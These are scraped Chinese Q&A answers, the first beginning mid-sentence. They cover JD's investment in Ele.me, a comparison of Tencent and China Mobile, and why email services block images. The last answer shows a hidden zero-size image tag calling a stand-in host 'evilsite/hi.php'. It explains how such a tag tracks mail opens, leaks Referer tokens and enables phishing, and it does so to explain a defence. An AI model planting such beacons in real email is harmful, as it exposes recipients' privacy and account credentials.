么呢？考虑之后我大致得出了一些结论，至于对不对，大家看看就好。&/p&&br&&p&首先，我们知道JD之前领投了到家美食会。虽然在量级上到家和饿了么已经不在一条线上了，但饿了么现在正在做的自配送，正是到家美食会一直在做的事。所以JD跟投饿了么的逻辑，可能与投资到家美食会的逻辑是一样的。既然如此，我就来猜猜JD投资到家美食会的逻辑吧。&/p&&br&&p&到家和饿了么代表的是线上外卖的两条线路，他们的服务对象都是餐厅。饿了么的核心是获取用户进行完成外卖订单的分配，用大量地推人员推动餐厅的在线销售和用户的线上消费习惯，所以对餐厅来说是解决销售问题。到家的核心是配送服务，用有限的配送员为餐厅提供外卖服务的从销售到配送的整体解决方案，对餐厅来说首要解决的是外卖服务能力的问题。&/p&&br&&p&模式的差异这决定了到家只能服务相对高端的商家，用高客单价维持盈亏平衡，而且他的管理成本和培训成本都要比饿了么高出不少，最终的差异就会体现在扩张速度上。当饿了么一轮轮融资烧钱烧出用户和规模后，饿了么才开始用自配送的方式优化用户体验，不过市场份额已经难以逆转了。（这个故事告诉我们，创业者在将刚性需求转化为线上服务的时候，模式的可复制性以及配套的融资能力其实比完善的用户体验更重要。）&/p&&br&&p&张旭豪在发布会上说，外卖的配送是配送的最高境界，因为要1小时送到，还要保湿保温等等，其实这些都不是最关键的问题。外卖配送最大的问题是人力的闲时冗余问题。对一家餐厅来说，外卖峰时每天就这么6个小时左右，要用1/4天配送80%的订单，如果按照峰时需求来雇佣配送员，餐厅早就亏死了；如果按照闲时需求来雇佣配送员，那用户体验绝对糟糕地无法想象。所以餐厅往往是按照用户忍受极限和自己配送成本的平衡点来决定如何雇佣配送员的。&/p&&br&&p&但是由平台来提供配送服务，就可以解决闲时冗余问题。因为饿了么作为平台，他的配送能力不会受到生产能力的制约。早晨可以送包子，中午可以送炒面，下午可以送蛋糕，晚上可以送盖浇饭，夜里还可以送烤串。扩充销售品类可以大幅度地提高人效，让每一单的送餐成本下降几个甚至几十个百分点。&/p&&br&&p&再进一步考虑，如果饿了么的配送模式可以成立，那将是一个庞大的自给自足的近点配送物流系统，而如果这个配送系统可以和JD物流系统在一定程度上实现对接和协同，有可能成为JD的一块补充运力，优化JD的物流系统。&/p&&br&&p&对饿了么的物流系统感兴趣，我猜测可能是JD投资饿了么的初衷。不过即使将来两边的物流无法对接，JD也可以把这次投资当成一笔普通的财务投资，投资收益反馈到财报上，也是赚多赔少。&/p&
正好今天写了这个话题。企鹅为什么要给钱？我想说这简直就是个显而易见和不言自明的问题。作为一家上市公司，企鹅最重要的工作是赚！钱！如果说对于企鹅来说，有一种比游戏和广告更赚钱的方式，那一定就是移动金融。移动金融不是一步到位的，第一步是支付技…
我就简单贴点数据。&br&&br&很多朋友可能对中移动和腾讯的规模没有概念，觉得腾讯作为即时通讯的龙头老大应当在通讯市场上有很重要的地位。&br&&br&&b&参见下图（以百万元为单位）&/b&&br&&img src=&/bfaf0a58c382bb5ee5c60c737f4c8a5c_b.jpg& data-rawwidth=&476& data-rawheight=&324& class=&origin_image zh-lightbox-thumb& width=&476& data-original=&/bfaf0a58c382bb5ee5c60c737f4c8a5c_r.jpg&&&br&&b&腾讯和中国移动根本就不是在一个数量级的企业，我不认为在放大十倍的前提下，一个管理团队还能轻易驾驭一个企业。&/b&更何况，中移动现在所处的行业比腾讯要艰难的多，中国移动的利润已经连续多年没有很大的起色，利润率也正在被逐年压缩。&br&&br&这样看来，虽然身处垄断行业，中国移动还是算得上是良心企业。&br&======&br&下面是脑洞部分：&br&&br&&b&&u&现在我们来假定腾讯的管理团队有足够的实力运营中国移动，会发生什么。&/u&&/b&&br&&br&&br&腾讯作为一家新兴互联网服务企业，和中国移动的用多少收多少的盈利模式不同，它的核心竞争力之一就是懂得&b&利用人性的弱点赚取利润。&/b&&br&&br&&br&&b&没错，就是网络游戏。QQ早就不是盈利重点了，而最多算是渠道。&/b&&br&&img src=&/51824aabcc8dfd0f6ba9_b.jpg& data-rawwidth=&485& data-rawheight=&369& class=&origin_image zh-lightbox-thumb& width=&485& data-original=&/51824aabcc8dfd0f6ba9_r.jpg&&&br&我们游戏行业中人，通常自称这是提供一种让人能够获取精神享受的服务，就和洗脚城差不多，利润高无可厚非。是的，但还是脱不了利用人性弱点，如果你能看到无数屌丝一个月赚2000却可以心甘情愿花1000来玩网络游戏，你就知道它的力量有多恐怖。&br&&br&还别不信，你以为网络游戏赚谁的钱，赚的就是广大屌丝的钱，具体原因我就不细说了，请顺着人性弱点继续理解。（这是三年前的图，仅做参考，当时我国的大多数网游玩家，月收入在2000以下）：&br&&img src=&/a5cd71b8a681ef9b1f511bb_b.jpg& data-rawwidth=&463& data-rawheight=&324& class=&origin_image zh-lightbox-thumb& width=&463& data-original=&/a5cd71b8a681ef9b1f511bb_r.jpg&&&br&&br&借助屌丝群体，腾讯在没有垄断资源的前提下，却实现了比中国移动高的多的盈利能力，和上面那张图恰恰相反。&br&&img src=&/011bcc3b0_b.jpg& data-rawwidth=&476& data-rawheight=&281& class=&origin_image zh-lightbox-thumb& width=&476& data-original=&/011bcc3b0_r.jpg&&&br&说实在的，中国移动的那些收费真的还是挺合理的，和腾讯比，显得朴素得多。&br&======&br&&br&&b&所以结论是，中国移动现在这样挺好的，如果让腾讯上，占有了这巨大的垄断资源，谁都无法预知腾讯能挖掘出多少增值服务收费点，你还想好好用手机吗？？？我就不继续开脑洞了，各位自行幻想。&/b&&br&&br&&br&&b&利益相关: 网易游戏&/b&
我就简单贴点数据。很多朋友可能对中移动和腾讯的规模没有概念，觉得腾讯作为即时通讯的龙头老大应当在通讯市场上有很重要的地位。参见下图（以百万元为单位）腾讯和中国移动根本就不是在一个数量级的企业，我不认为在放大十倍的前提下，一个管理团队还能轻…
谢邀，站在黑客角度来给出答案。&br&大多数专业邮箱都默认不显示图片，因为：&br&&br&&img src=&a href=&///?target=http%3A//evilsite/hi.php& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&evilsite/hi.php&/span&&span class=&invisible&&&/span&&i class=&icon-external&&&/i&&/a& width=0 height=0 /&&br&&br&看，src的值可以不需要是真图片。&br&&br&这样可以隐蔽地得到邮件URL（即Referer，即浏览器地址栏那个URL）。&br&&br&有什么用呢？&br&&br&1. 邮件打开跟踪：只要邮件被查看就会请求这个hi.php地址，hi.php可以做好记录，除了记录是否被请求了，还可记录邮件URL、用户浏览器User-Agent、用户IP地址等。这个可以做个邮件跟踪系统了:)&br&&br&有了这个，根本不需要「已读回执」功能了。&br&&br&有了这个，搞垃圾邮件群发的，各位脑补下，他们会有多开心。&br&&br&2. 某些手机端邮箱：传统的WAP或APP（本质是Web的情况），Referer可能会包括用户身份token，这会导致身份token轻易泄露，账号被盗。&br&&br&3. 有人用hi.php来玩钓鱼攻击：hi.php可以被设置需要Auth等认证，这时一查看邮箱就弹出一个Auth窗口，提醒输入用户名密码，只要场景设计好，有一定概率，用户会被钓鱼。&br&&br&4. 确实，图片可以很好躲避基于文本的贝叶斯反垃圾机制。默认屏蔽图片，「意外」屏蔽了这个眼不见心不烦的烦恼？&br&&br&就这么小的一个点，这些年来一直出现各种对抗，出现个对抗又被修复。什么是好邮箱？好邮箱就是这么小的一个点，必须把控好安全与体验的那种平衡：）&br&&br&EOF.
谢邀，站在黑客角度来给出答案。大多数专业邮箱都默认不显示图片，因为：&img src= width=0 height=0 /&看，src的值可以不需要是真图片。这样可以隐蔽地得到邮件URL（即Referer，即浏览器地址栏那个URL）。有什么用呢？1. 邮件打开跟踪…